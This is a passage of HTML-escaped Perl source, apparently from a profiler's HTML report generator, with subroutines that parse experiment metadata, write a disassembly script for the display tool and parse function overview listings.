      for my $line (0 .. $#exp_info)
        {
          $input_line = $exp_info[$line];

          my $msg = &quot;exp_id = $exp_id: input_line = $input_line&quot;;
          gp_message (&quot;debugM&quot;, $subr_name, $msg);

          if ($input_line =~ /$target_cmd_regex/)
            {
              $target_cmd = $2;
              gp_message (&quot;debugM&quot;, $subr_name, &quot;$exp_id =&gt; $target_cmd&quot;);
              $experiment_data[$i]{&quot;target_cmd&quot;} = $target_cmd;
            }
          elsif ($input_line =~ /$host_system_regex/)
            {
              $hostname  = $1;
              $OS        = $2;
              $page_size = $3;
              $architecture = $4;
              gp_message (&quot;debugM&quot;, $subr_name, &quot;$exp_id =&gt; $hostname $OS $page_size $architecture&quot;);
              $experiment_data[$i]{&quot;hostname&quot;} = $hostname;
              $experiment_data[$i]{&quot;OS&quot;} = $OS;
              $experiment_data[$i]{&quot;page_size&quot;} = $page_size;
              $experiment_data[$i]{&quot;architecture&quot;} = $architecture;
            }
          elsif ($input_line =~ /$start_date_regex/)
            {
              $start_date = $1;
              gp_message (&quot;debugM&quot;, $subr_name, &quot;$exp_id =&gt; $start_date&quot;);
              $experiment_data[$i]{&quot;start_date&quot;} = $start_date;
            }
          elsif ($input_line =~ /$end_experiment_regex/)
            {
              $end_experiment = $1;
              gp_message (&quot;debugM&quot;, $subr_name, &quot;$exp_id =&gt; $end_experiment&quot;);
              $experiment_data[$i]{&quot;end_experiment&quot;} = $end_experiment;
            }
          elsif ($input_line =~ /$data_collection_duration_regex/)
            {
              $data_collection_duration = $1;
              gp_message (&quot;debugM&quot;, $subr_name, &quot;$exp_id =&gt; $data_collection_duration&quot;);
              $experiment_data[$i]{&quot;data_collection_duration&quot;} = $data_collection_duration;
            }
#------------------------------------------------------------------------------
#                                       Start Label: Total
#                                          End Label: Total
#                                  Start Time (sec.): 0.000
#                                    End Time (sec.): 1.812
#                                    Duration (sec.): 1.812
#                           Total Thread Time (sec.): 1.812
#                          Average number of Threads: 1.000
#
#                               Process Times (sec.):
#                                           User CPU: 1.666 ( 91.9%)
#                                         System CPU: 0.090 (  5.0%)
#                                           Trap CPU: 0.    (  0. %)
#                                          User Lock: 0.    (  0. %)
#                                    Data Page Fault: 0.    (  0. %)
#                                    Text Page Fault: 0.    (  0. %)
#                                  Kernel Page Fault: 0.    (  0. %)
#                                            Stopped: 0.    (  0. %)
#                                           Wait CPU: 0.    (  0. %)
#                                              Sleep: 0.056 (  3.1%)
#------------------------------------------------------------------------------
          elsif ($input_line =~ /$total_thread_time_regex/)
            {
              $total_thread_time = $1;
              gp_message (&quot;debugM&quot;, $subr_name, &quot;$exp_id =&gt; $total_thread_time&quot;);
              $experiment_data[$i]{&quot;total_thread_time&quot;} = $total_thread_time;
            }
          elsif ($input_line =~ /$user_cpu_regex/)
            {
              $user_cpu_time       = $1;
              $user_cpu_percentage = $2;
              gp_message (&quot;debugM&quot;, $subr_name, &quot;$exp_id =&gt; $user_cpu_time $user_cpu_percentage&quot;);
              $experiment_data[$i]{&quot;user_cpu_time&quot;} = $user_cpu_time . &quot;&amp;nbsp; (&quot; . $user_cpu_percentage . &quot;)&quot;;
              $experiment_data[$i]{&quot;user_cpu_percentage&quot;} = $user_cpu_percentage;
            }
          elsif ($input_line =~ /$system_cpu_regex/)
            {
              $system_cpu_time       = $1;
              $system_cpu_percentage = $2;
              gp_message (&quot;debugM&quot;, $subr_name, &quot;$exp_id =&gt; $system_cpu_time $system_cpu_percentage&quot;);
              $experiment_data[$i]{&quot;system_cpu_time&quot;} = $system_cpu_time . &quot;&amp;nbsp; (&quot; . $system_cpu_percentage . &quot;)&quot;;
              $experiment_data[$i]{&quot;system_cpu_percentage&quot;} = $system_cpu_percentage;
            }
          elsif ($input_line =~ /$sleep_regex/)
            {
              $sleep_time       = $1;
              $sleep_percentage = $2;
              $experiment_data[$i]{&quot;sleep_time&quot;} = $sleep_time . &quot;&amp;nbsp; (&quot; . $sleep_percentage . &quot;)&quot;;
              $experiment_data[$i]{&quot;sleep_percentage&quot;} = $sleep_percentage;

              my $msg = &quot;exp_id = $exp_id =&gt; sleep_time = $sleep_time &quot; .
                        &quot;sleep_percentage = $sleep_percentage&quot;;
              gp_message (&quot;debugM&quot;, $subr_name, $msg);
            }
        }
    }

  for my $keys (0 .. $#experiment_data)
    {
      for my $fields (sort keys %{ $experiment_data[$keys] })
        {
          my $msg = &quot;experiment_data[$keys]{$fields} = &quot; .
             $experiment_data[$keys]{$fields};
          gp_message (&quot;debugM&quot;, $subr_name, $msg);
        }
    }

  return (\@experiment_data);

} #-- End of subroutine process_experiment_info

#------------------------------------------------------------------------------
# TBD
#------------------------------------------------------------------------------
sub process_function_files
{
  my $subr_name = get_my_name ();

  my ($exp_dir_list_ref, $executable_name, $time_percentage_multiplier,
      $summary_metrics, $process_all_functions, $elf_loadobjects_found,
      $outputdir, $sort_fields_ref, $function_info_ref,
      $function_address_and_index_ref, $LINUX_vDSO_ref,
      $metric_description_ref, $elf_arch, $base_va_executable,
      $ARCHIVES_MAP_NAME, $ARCHIVES_MAP_VADDR, $elf_rats_ref) = @_;

  my $old_fsummary;
  my $total_attributed_time;
  my $current_attributed_time;
  my $value;

  my @exp_dir_list               = @{ $exp_dir_list_ref };
  my @function_info              = @{ $function_info_ref };
  my %function_address_and_index = %{ $function_address_and_index_ref };
  my @sort_fields                = @{ $sort_fields_ref };
  my %metric_description         = %{ $metric_description_ref };
  my %elf_rats                   = %{ $elf_rats_ref };

#------------------------------------------------------------------------------
# The regex section.
#
# TBD: Remove the part regarding clones. Legacy.
#------------------------------------------------------------------------------
  my $find_clone_regex    = &#039;^(.*)(\s+--\s+cloned\s+version\s+\[)([^]]+)(\])&#039;;
  my $remove_number_regex = &#039;^\d+:&#039;;
  my $replace_quote_regex = &#039;&quot;/\&quot;&#039;;

  my %addressobj_index = ();
  my %function_address_info = ();
  my $function_address_info_ref;

  $outputdir = append_forward_slash ($outputdir);

  my %functions_per_metric_indexes = ();
  my $functions_per_metric_indexes_ref;

  my %functions_per_metric_first_index = ();
  my $functions_per_metric_first_index_ref;

  my %routine_list = ();
  my %handled_routines = ();

#------------------------------------------------------------------------------
# TBD: Name cleanup needed.
#------------------------------------------------------------------------------

  my $number_of_metrics;
  my $expr_name;
  my $routine;
  my $tmp;
  my $loadobj;
  my $PCA;
  my $address_field;
  my $limit_txt;
  my $n_metrics_text;
  my $disfile;
  my $srcfile;
  my $RIN;
  my $gp_listings_cmd;
  my $gp_display_text_cmd;
  my $ignore_value;

  my $result_file   = $outputdir . &quot;gp-listings.out&quot;;
  my $gp_error_file = $outputdir . &quot;gp-listings.err&quot;;

  my $convert_to_dot    = $g_locale_settings{&quot;convert_to_dot&quot;};
  my $decimal_separator = $g_locale_settings{&quot;decimal_separator&quot;};
  my $length_of_string  = length ($outputdir);

  $expr_name = join (&quot; &quot;, @exp_dir_list);

  gp_message (&quot;debug&quot;, $subr_name, &quot;expr_name = $expr_name&quot;);

#------------------------------------------------------------------------------
# Loop over the files in $outputdir.
#------------------------------------------------------------------------------
  while (glob ($outputdir.&#039;*.sort.func-PC&#039;))
    {
      my $metric;
      my $infile;
      my $ignore_value;
      my $suffix_not_used;

      $infile = $_;

      ($metric, $ignore_value, $suffix_not_used) = fileparse ($infile, &quot;.sort.func-PC&quot;);

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;suffix_not_used = $suffix_not_used&quot;);
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;func-PC-&gt;$infile&lt;- metric-&gt;$metric&lt;-&quot;);

   # Function_info creates the functions files from the PC ones
   # as well as culling PC and metric information

      ($function_address_info_ref,
       $functions_per_metric_first_index_ref,
       $functions_per_metric_indexes_ref) = function_info (
                                              $outputdir,
                                              $infile,
                                              $metric,
                                              $LINUX_vDSO_ref);

      @{$function_address_info{$metric}}            = @{$function_address_info_ref};
      %{$functions_per_metric_indexes{$metric}}     = %{$functions_per_metric_indexes_ref};
      %{$functions_per_metric_first_index{$metric}} = %{$functions_per_metric_first_index_ref};

      $ignore_value = print_metric_function_array ($metric,
                                                   &quot;function_address_info&quot;,
                                                   \@{$function_address_info{$metric}});
      $ignore_value = print_metric_function_hash (&quot;hash_hash&quot;,  $metric,
                                                  &quot;functions_per_metric_first_index&quot;,
                                                  \%{$functions_per_metric_first_index{$metric}});
      $ignore_value = print_metric_function_hash (&quot;hash_array&quot;, $metric,
                                                  &quot;functions_per_metric_indexes&quot;,
                                                  \%{$functions_per_metric_indexes{$metric}});
    }

#------------------------------------------------------------------------------
# Get header info for use in post processing er_html output
#------------------------------------------------------------------------------
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;get_hdr_info section&quot;);

  get_hdr_info ($outputdir, $outputdir.&quot;functions.sort.func&quot;);

  for my $field (@sort_fields)
    {
      get_hdr_info ($outputdir, $outputdir.&quot;$field.sort.func&quot;);
    }

#------------------------------------------------------------------------------
# Caller-callee
#------------------------------------------------------------------------------
  get_hdr_info ($outputdir, $outputdir.&quot;calls.sort.func&quot;);

#------------------------------------------------------------------------------
# Calltree
#------------------------------------------------------------------------------
  if ($g_user_settings{&quot;calltree&quot;}{&quot;current_value&quot;} eq &quot;on&quot;)
    {
      get_hdr_info ($outputdir, $outputdir.&quot;calltree.sort.func&quot;);
    }

  gp_message (&quot;debug&quot;, $subr_name, &quot;process functions&quot;);

  my $scriptfile     = $outputdir.&#039;gp-script&#039;;
  my $script_metrics = &quot;$summary_metrics&quot;;
  my $func_limit     = $g_user_settings{&quot;func_limit&quot;}{&quot;current_value&quot;};

  open (SCRIPT, &quot;&gt;&quot;, $scriptfile)
    or die (&quot;Unable to create script file $scriptfile - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened script file $scriptfile for writing&quot;);

  print SCRIPT &quot;# limit $func_limit\n&quot;;
  print SCRIPT &quot;limit $func_limit\n&quot;;
  print SCRIPT &quot;# thread_select all\n&quot;;
  print SCRIPT &quot;thread_select all\n&quot;;
  print SCRIPT &quot;# metrics $script_metrics\n&quot;;
  print SCRIPT &quot;metrics $script_metrics\n&quot;;

  for my $metric (@sort_fields)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;handling $metric-&gt;$metric_description{$metric}&quot;);

      $total_attributed_time   = 0;
      $current_attributed_time = 0;

      $value = $function_address_info{$metric}[0]{&quot;metric_value&quot;}; # &lt;Total&gt;
      if ($convert_to_dot)
        {
          $value =~ s/$decimal_separator/\./;
        }
      $total_attributed_time = $value;

#------------------------------------------------------------------------------
# start at 1 - skipping &lt;Total&gt;
#------------------------------------------------------------------------------
      for my $INDEX (1 .. $#{$function_address_info{$metric}})
        {
#------------------------------------------------------------------------------
#Looking to handle at least 99% of the time - or what the user asked for
#------------------------------------------------------------------------------
          $value   = $function_address_info{$metric}[$INDEX]{&quot;metric_value&quot;};
          $routine = $function_address_info{$metric}[$INDEX]{&quot;routine&quot;};

          gp_message (&quot;debugXL&quot;, $subr_name, &quot; total $total_attributed_time current $current_attributed_time&quot;);
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;  (found routine $routine : value $value)&quot;);

          if ($convert_to_dot)
            {
              $value =~ s/$decimal_separator/\./;
            }

          if ( ($value &gt; $total_attributed_time*(1-$time_percentage_multiplier)) or
               ( ($total_attributed_time == 0) and ($value&gt;0) ) or
               $process_all_functions)
            {
              $PCA = $function_address_info{$metric}[$INDEX]{&quot;PC Address&quot;};

              if (not exists ($functions_per_metric_first_index{$metric}{$routine}{$PCA}))
                {
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;not exists: functions_per_metric_first_index{$metric}{$routine}{$PCA}&quot;);
                }
              if (not exists ($function_address_and_index{$routine}{$PCA}))
                {
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;not exists: function_address_and_index{$routine}{$PCA}&quot;);
                }

              if (exists ($functions_per_metric_first_index{$metric}{$routine}{$PCA}) and
                  exists ($function_address_and_index{$routine}{$PCA}))
                {
#------------------------------------------------------------------------------
# handled_routines now contains $RI from &quot;first_metric&quot; (?)
#------------------------------------------------------------------------------
                  $handled_routines{$function_address_and_index{$routine}{$PCA}} = 1;
                  my $description = ${ retrieve_metric_description (\$metric, \%metric_description) };
                  if ($metric_description{$metric} =~ /Exclusive Total CPU Time/)
                    {
                      $routine_list{$routine} = 1
                    }

                  gp_message (&quot;debugXL&quot;, $subr_name, &quot; $routine is candidate&quot;);
                }
              else
                {
                  die (&quot;internal error for metric $metric and routine $routine&quot;);
                }

              $current_attributed_time += $value;
            }
        }
    }
#------------------------------------------------------------------------------
# Sort numerically in ascending order.
#------------------------------------------------------------------------------
  for my $routine_index (sort {$a &lt;=&gt; $b} keys %handled_routines)
    {
      $routine = $function_info[$routine_index]{&quot;routine&quot;};
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;routine_index = $routine_index routine = $routine&quot;);
      next unless $routine_list{$routine};

# not used      $source = $function_info[$routine_index]{&quot;Source File&quot;};

      $function_info[$routine_index]{&quot;srcline&quot;} = &quot;&quot;;
      $address_field = $function_info[$routine_index]{&quot;addressobjtext&quot;};

#------------------------------------------------------------------------------
# Strip the internal number from the address field.
#------------------------------------------------------------------------------
      $address_field =~ s/$remove_number_regex//;

##      $disfile = &quot;file\.$routine_index\.dis&quot;;
      $disfile = &quot;file.&quot; . $routine_index . &quot;.&quot; . $g_html_base_file_name{&quot;disassembly&quot;};
      $srcfile = &quot;&quot;;
      $srcfile = &quot;file\.$routine_index\.src.txt&quot;;

#------------------------------------------------------------------------------
# If the file is unknown, we can disassemble anyway and add disassembly
# to the script.
#------------------------------------------------------------------------------
      print SCRIPT &quot;# outfile $outputdir&quot;.&quot;$disfile\n&quot;;
      print SCRIPT &quot;outfile $outputdir&quot;.&quot;$disfile\n&quot;;
#------------------------------------------------------------------------------
# TBD: Legacy. Not sure why this is needed, but it won&#039;t harm things. I hope.
#------------------------------------------------------------------------------
      $tmp = $routine;
      $tmp =~ s/$replace_quote_regex//g;
      print SCRIPT &quot;# disasm \&quot;$tmp\&quot; $address_field\n&quot;;
#------------------------------------------------------------------------------
## TBD: adding the address is not supported.  Need to find a way to figure
## out the ID of the function.
##      print SCRIPT &quot;disasm \&quot;$tmp\&quot; $address_field\n&quot;;
##      print SCRIPT &quot;source \&quot;$tmp\&quot; $address_field\n&quot;;
#------------------------------------------------------------------------------
      print SCRIPT &quot;disasm \&quot;$tmp\&quot;\n&quot;;
      if ($srcfile=~/file/)
        {
          print SCRIPT &quot;# outfile $outputdir&quot;.&quot;$srcfile\n&quot;;
          print SCRIPT &quot;outfile $outputdir&quot;.&quot;$srcfile\n&quot;;
          print SCRIPT &quot;# source \&quot;$tmp\&quot; $address_field\n&quot;;
          print SCRIPT &quot;source \&quot;$tmp\&quot;\n&quot;;
        }

      if ($routine =~ /$find_clone_regex/)
        {
          my ($clone_routine) = $1.$2.$3.$4;
          my ($clone) = $3;
        }
     }
  close SCRIPT;

#------------------------------------------------------------------------------
# Remember the number of handled routines depends on the limit setting passed
# to er_print together with the sorting order on the metrics, which usually results
# in different routines at the top. Thus $RIN below can be greater than the limit.
#------------------------------------------------------------------------------

  $RIN = scalar (keys %handled_routines);

  if (!$func_limit)
    {
      $limit_txt = &quot;unlimited&quot;;
    }
  else
    {
      $limit_txt = $func_limit - 1;
  }

  $number_of_metrics = scalar (@sort_fields);

  $n_metrics_text = ($number_of_metrics == 1) ? &quot;metric&quot; : &quot;metrics&quot;;

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;built function list with $RIN functions&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;$number_of_metrics $n_metrics_text and a function limit of $limit_txt&quot;);

# add ELF program header offset

  for my $routine_index (sort {$a &lt;=&gt; $b} keys %handled_routines)
    {
      $routine = $function_info[$routine_index]{&quot;routine&quot;};
      $loadobj = $function_info[$routine_index]{&quot;Load Object&quot;};

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;routine = $routine loadobj = $loadobj elf_arch = $elf_arch&quot;);

      if ($loadobj ne &#039;&#039;)
        {
    # &lt;Truncated-stack&gt; is associated with &lt;Total&gt;. Its load object is &lt;Total&gt;
          if ($loadobj eq &quot;&lt;Total&gt;&quot;)
            {
              next;
            }
    # Have seen a routine called &lt;Unknown&gt;. Its load object is &lt;Unknown&gt;
          if ($loadobj eq &quot;&lt;Unknown&gt;&quot;)
            {
              next;
            }
###############################################################################
## RUUD: The new approach gives a different result. Investigate this.
#
# Turns out the new code improves the result.  The addresses are now correct
# and as a result, more ftag&#039;s are created later on.
###############################################################################
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;before function_info[$routine_index]{addressobj} = $function_info[$routine_index]{&#039;addressobj&#039;}&quot;);

          $function_info[$routine_index]{&quot;addressobj&quot;} += bigint::hex (
                                                determine_base_va_address (
                                                  $executable_name,
                                                  $base_va_executable,
                                                  $loadobj,
                                                  $routine));
          $addressobj_index{$function_info[$routine_index]{&quot;addressobj&quot;}} = $routine_index;

          gp_message (&quot;debugXL&quot;, $subr_name, &quot;after  function_info[$routine_index]{addressobj} = $function_info[$routine_index]{&#039;addressobj&#039;}&quot;);
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;after  addressobj_index{function_info[$routine_index]{addressobj}} = $addressobj_index{$function_info[$routine_index]{&#039;addressobj&#039;}}&quot;);
        }
    }

#------------------------------------------------------------------------------
# Get the disassembly and source code output.
#------------------------------------------------------------------------------
  $gp_listings_cmd = &quot;$GP_DISPLAY_TEXT -limit $func_limit -viewmode machine &quot; .
                     &quot;-compare off -script $scriptfile $expr_name&quot;;

  $gp_display_text_cmd = &quot;$gp_listings_cmd 1&gt; $result_file 2&gt;&gt; $gp_error_file&quot;;

  gp_message (&quot;debugXL&quot;, $subr_name,&quot;gp_display_text_cmd = $gp_display_text_cmd&quot;);

  gp_message (&quot;debug&quot;, $subr_name, &quot;calling $GP_DISPLAY_TEXT to produce disassembly and source code output&quot;);

  my ($error_code, $cmd_output) = execute_system_cmd ($gp_display_text_cmd);

  if ($error_code != 0)
    {
      $ignore_value = msg_display_text_failure ($gp_display_text_cmd,
                                                $error_code,
                                                $gp_error_file);
      gp_message (&quot;abort&quot;, $subr_name, &quot;execution terminated&quot;);
    }

  return (\@function_info, \%function_address_info, \%addressobj_index);

} #-- End of subroutine process_function_files

#------------------------------------------------------------------------------
# Process the information found in the function overview file passed in.
#
# Example input:
#
# Current Sort Metric: Exclusive Total CPU Time ( e.totalcpu )
# Functions sorted by metric: Exclusive Total CPU Time
#
# PC Addr.       Name              Excl.     Excl. CPU  Excl.         Excl.         Excl.   Excl.
#                                  Total     Cycles     Instructions  Last-Level    IPC     CPI
#                                  CPU sec.   sec.      Executed      Cache Misses
# 1:0x00000000   &lt;Total&gt;           3.713     4.256      15396819712   27727992       1.577  0.634
# 2:0x000021ae   mxv_core          3.532     4.116      14500538992   27527781       1.536  0.651
# 2:0x00001f7b   init_data         0.070     0.084         64020034     200211       0.333  3.000
#------------------------------------------------------------------------------
sub process_function_overview
{
  my $subr_name = get_my_name ();

  my ($metric_ref, $exp_type_ref, $summary_metrics_ref, $number_of_metrics_ref,
      $function_info_ref, $function_view_structure_ref, $overview_file_ref) = @_;

  my $metric                  = ${ $metric_ref };
  my $exp_type                = ${ $exp_type_ref };
  my $summary_metrics         = ${ $summary_metrics_ref };
  my $number_of_metrics       = ${ $number_of_metrics_ref };
  my @function_info           = @{ $function_info_ref };
  my %function_view_structure = %{ $function_view_structure_ref };
  my $overview_file           = ${ $overview_file_ref };

  my $all_metrics;
  my $decimal_separator = $g_locale_settings{&quot;decimal_separator&quot;};
  my $length_of_block;
  my $elements_in_name;
  my $full_hex_address;
  my $header_line;
  my $hex_address;
  my $html_line;
  my $input_line;
  my $marker;
  my $name_regex;
  my $no_of_fields;
  my $metrics_length;
  my $missing_digits;
  my $msg;
  my $remaining_part_header;
  my $routine;
  my $routine_length;
  my $scan_header        = $FALSE;
  my $scan_function_data = $FALSE;
  my $string_length;
  my $total_header_lines;

  my @address_field           = ();
  my @fields                  = ();
  my @function_data           = ();
  my @function_names          = ();
  my @function_view_array     = ();
  my @function_view_modified  = ();
  my @header_lines            = ();
  my @metrics_part            = ();
  my @metric_values           = ();

#------------------------------------------------------------------------------
# The regex section.
#------------------------------------------------------------------------------
  my $header_name_regex     = &#039;(.*\.)(\s+)(Name)\s+(.*)&#039;;
  my $total_marker_regex    = &#039;\s*(\d+:0x[a-fA-F0-9]+)\s+(&lt;Total&gt;)\s+(.*)&#039;;
  my $empty_line_regex      = &#039;^\s*$&#039;;
  my $catch_all_regex       = &#039;\s*(.*)&#039;;
  my $get_hex_address_regex = &#039;(\d+):0x(\S+)&#039;;
  my $get_addr_offset_regex = &#039;^@\d+:&#039;;
  my $zero_dot_at_end_regex = &#039;[\w0-9&#039; . $decimal_separator . &#039;]*(0&#039; . $decimal_separator . &#039;$)&#039;;
  my $backward_slash_regex  = &#039;\/&#039;;

  $msg = &quot;enter subroutine &quot; . $subr_name;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
  if (is_file_empty ($overview_file))
    {
      gp_message (&quot;assertion&quot;, $subr_name, &quot;file $overview_file is empty&quot;);
    }

  open (FUNC_OVERVIEW, &quot;&lt;&quot;, $overview_file)
    or die (&quot;$subr_name - unable to open file $overview_file for reading &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $overview_file for reading&quot;);

  gp_message (&quot;debug&quot;, $subr_name, &quot;processing file for exp_type = $exp_type&quot;);

  gp_message (&quot;debugM&quot;, $subr_name, &quot;header_name_regex  = $header_name_regex&quot;);
  gp_message (&quot;debugM&quot;, $subr_name, &quot;total_marker_regex = $total_marker_regex&quot;);
  gp_message (&quot;debugM&quot;, $subr_name, &quot;empty_line_regex   = $empty_line_regex&quot;);
  gp_message (&quot;debugM&quot;, $subr_name, &quot;catch_all_regex    = $catch_all_regex&quot;);
  gp_message (&quot;debugM&quot;, $subr_name, &quot;get_hex_address_regex = $get_hex_address_regex&quot;);
  gp_message (&quot;debugM&quot;, $subr_name, &quot;get_addr_offset_regex = $get_addr_offset_regex&quot;);
  gp_message (&quot;debugM&quot;, $subr_name, &quot;zero_dot_at_end_regex = $zero_dot_at_end_regex&quot;);
  gp_message (&quot;debugM&quot;, $subr_name, &quot;backward_slash_regex  = $backward_slash_regex&quot;);

#------------------------------------------------------------------------------
# Read the input file into memory.
#------------------------------------------------------------------------------
  chomp (@function_data = &lt;FUNC_OVERVIEW&gt;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;read all of file $overview_file into memory&quot;);

#------------------------------------------------------------------------------
# Remove a legacy redundant string, if any.
#------------------------------------------------------------------------------
  @function_data = @{ remove_redundant_string (\@function_data)};

#------------------------------------------------------------------------------
# Parse the function view info and store the data.
#------------------------------------------------------------------------------
  my $max_header_length  = 0;
  my $max_metrics_length = 0;

#------------------------------------------------------------------------------
# Loop over all the lines.  Extract the header, metric values, function names,
# and the addresses.
#
# This is also where the maximum lengths for the header and metric lines are
# computed.  This is used to get the correct alignment in the HTML output.
#------------------------------------------------------------------------------
  for (my $line = 0; $line &lt;= $#function_data; $line++)
    {
      $input_line = $function_data[$line];
##      $input_line =~ s/ --  no functions found//;

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;input_line = $input_line&quot;);

#------------------------------------------------------------------------------
# The table header is assumed to start at the line that has &quot;Name&quot; in it.
# The header ends when we see the function name &quot;&lt;Total&gt;&quot;.
#------------------------------------------------------------------------------
      if ($input_line =~ /$header_name_regex/)
        {
          $scan_header = $TRUE;
        }
      elsif ($input_line =~ /$total_marker_regex/)
        {
          $scan_header        = $FALSE;
          $scan_function_data = $TRUE;
        }

      if ($scan_header)
        {
#------------------------------------------------------------------------------
# This group is only defined for the first line of the header and $4 contains
# the remaining part of the line after &quot;Name&quot;, without the leading spaces.
#------------------------------------------------------------------------------
          if (defined ($4))
            {
              $remaining_part_header = $4;
              $msg =  &quot;remaining_part_header = $remaining_part_header&quot;;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Determine the maximum length of the header.  This needs to be done before
# the HTML controls are added.
#------------------------------------------------------------------------------
              my $header_length = length ($remaining_part_header);
              $max_header_length = max ($max_header_length, $header_length);

#------------------------------------------------------------------------------
# TBD Should change this and not yet include html in header_lines
#------------------------------------------------------------------------------
              $html_line = &quot;&lt;b&gt;&quot; . $remaining_part_header . &quot;&lt;/b&gt;&quot;;

              push (@header_lines, $html_line);

              gp_message (&quot;debugXL&quot;, $subr_name, &quot;max_header_length = $max_header_length&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;html_line = $html_line&quot;);
            }
#------------------------------------------------------------------------------
# Captures the subsequent header lines.  Assume they exist.
#------------------------------------------------------------------------------
          elsif ($input_line =~ /$catch_all_regex/)
            {
              $header_line = $1;
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;header_line = $header_line&quot;);

              my $header_length = length ($header_line);
              $max_header_length = max ($max_header_length, $header_length);

#------------------------------------------------------------------------------
# TBD Should change this and not yet include html in header_lines
#------------------------------------------------------------------------------
              $html_line = &quot;&lt;b&gt;&quot; . $header_line . &quot;&lt;/b&gt;&quot;;

              push (@header_lines, $html_line);

              gp_message (&quot;debugXL&quot;, $subr_name, &quot;max_header_length = $max_header_length&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;html_line = $html_line&quot;);
            }
        }
#------------------------------------------------------------------------------
# This is a line with function data.
#------------------------------------------------------------------------------
      if ($scan_function_data and (not ($input_line =~ /$empty_line_regex/)))
        {
          $msg = &quot;detected a line with function data&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          my ($hex_address_ref, $marker_ref, $reduced_line_ref, 
              $list_with_metrics_ref) =
                                       split_function_data_line (\$input_line);

          $full_hex_address  = ${ $hex_address_ref };
          $marker            = ${ $marker_ref };
          $routine           = ${ $reduced_line_ref };
          $all_metrics       = ${ $list_with_metrics_ref };

          $msg = &quot;RESULT full_hex_address = &quot; . $full_hex_address;
          $msg .= &quot; -- metric values = &quot; . $all_metrics;
          $msg .= &quot; -- marker = &quot; . $marker;
          $msg .= &quot; -- function name = &quot; . $routine;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          @fields = split (&quot; &quot;, $input_line);

          $no_of_fields = $#fields + 1;
          $elements_in_name = $no_of_fields - $number_of_metrics - 1;

          $msg  = &quot;no_of_fields = &quot; . $no_of_fields;
          $msg .= &quot; elements_in_name = &quot; . $elements_in_name;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# In case the last metric is 0. only, we append 3 extra characters that
# represent zero.  We cannot change the number to 0.000 though because that
# has a different interpretation than 0.
# In a later phase, the &quot;ZZZ&quot; symbol will be removed again, but for now it
# creates consistency in, for example, the length of the metrics part.
#------------------------------------------------------------------------------
              if ($all_metrics =~ /$zero_dot_at_end_regex/)
                {
                  if (defined ($1) )
                    {
#------------------------------------------------------------------------------
# Somewhat overkill, but remove the leading &quot;\&quot; from the decimal separator
# in the debug print since it is used for internal purposes only.
#------------------------------------------------------------------------------
                      my $decimal_point = $decimal_separator;
                      $decimal_point =~ s/$backward_slash_regex//;
                      my $txt = &quot;all_metrics = $all_metrics ended with 0&quot;;
                      $txt   .= &quot;$decimal_point ($decimal_separator)&quot;;
                      gp_message (&quot;debugXL&quot;, $subr_name, $txt);

                      $all_metrics .= &quot;ZZZ&quot;;
                    }
                }
              $metrics_length = length ($all_metrics);
              $max_metrics_length = max ($max_metrics_length, $metrics_length);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;$routine all_metrics = $all_metrics metrics_length = $metrics_length&quot;);

              $msg = &quot;verify full_hex_address = &quot; . $full_hex_address;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);

              if ($full_hex_address =~ /$get_hex_address_regex/)
                {
                  $hex_address = &quot;0x&quot; . $2;
                }
              else
                {
                  $msg = &quot;full_hex_address = $full_hex_address has the wrong format&quot;;
                  gp_message (&quot;assertion&quot;, $subr_name, $msg);
                }

              push (@address_field, $full_hex_address);

              $msg = &quot;pushed full_hex_address = &quot; . $full_hex_address; 
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);

              push (@metric_values, $all_metrics);

#------------------------------------------------------------------------------
# Record the function name &quot;as is&quot;.  Below we figure out what the final name
# should be in case there are multiple occurrences of the same name.
#
# The reason to decouple this is to avoid the code gets too complex here.
#------------------------------------------------------------------------------
              push (@function_names, $routine);
        }
    } #-- End of loop over the input lines

#------------------------------------------------------------------------------
# Store the maximum lengths for the header and metrics.
#------------------------------------------------------------------------------
    gp_message (&quot;debugXL&quot;, $subr_name, &quot;final max_header_length  = $max_header_length&quot;);
    gp_message (&quot;debugXL&quot;, $subr_name, &quot;final max_metrics_length = $max_metrics_length&quot;);

    $function_view_structure{&quot;max header length&quot;}  = $max_header_length;
    $function_view_structure{&quot;max metrics length&quot;} = $max_metrics_length;

#------------------------------------------------------------------------------
# Determine the final name for the functions and set up the HTML block.
#------------------------------------------------------------------------------
  my @final_html_function_block = ();
  my @function_index_list       = ();

#------------------------------------------------------------------------------
# First, an index list is built.  If we are to index the functions in order of
# appearance in the function overview from 0 to n-1, the value of the array
# for index &quot;i&quot; is the index into the large &quot;function_info&quot; structure.  This
# has the final name, the html function block, etc.
#------------------------------------------------------------------------------

  for my $i (keys @address_field)
    {
      $msg = &quot;address_field[&quot; . $i .&quot;] = &quot; . $address_field[$i];
      gp_message (&quot;debugM&quot;, $subr_name, $msg);
    }
#------------------------------------------------------------------------------
## TBD: Use get_index_function_info??!!
#------------------------------------------------------------------------------
  for my $i (keys @function_names)
    {
#------------------------------------------------------------------------------
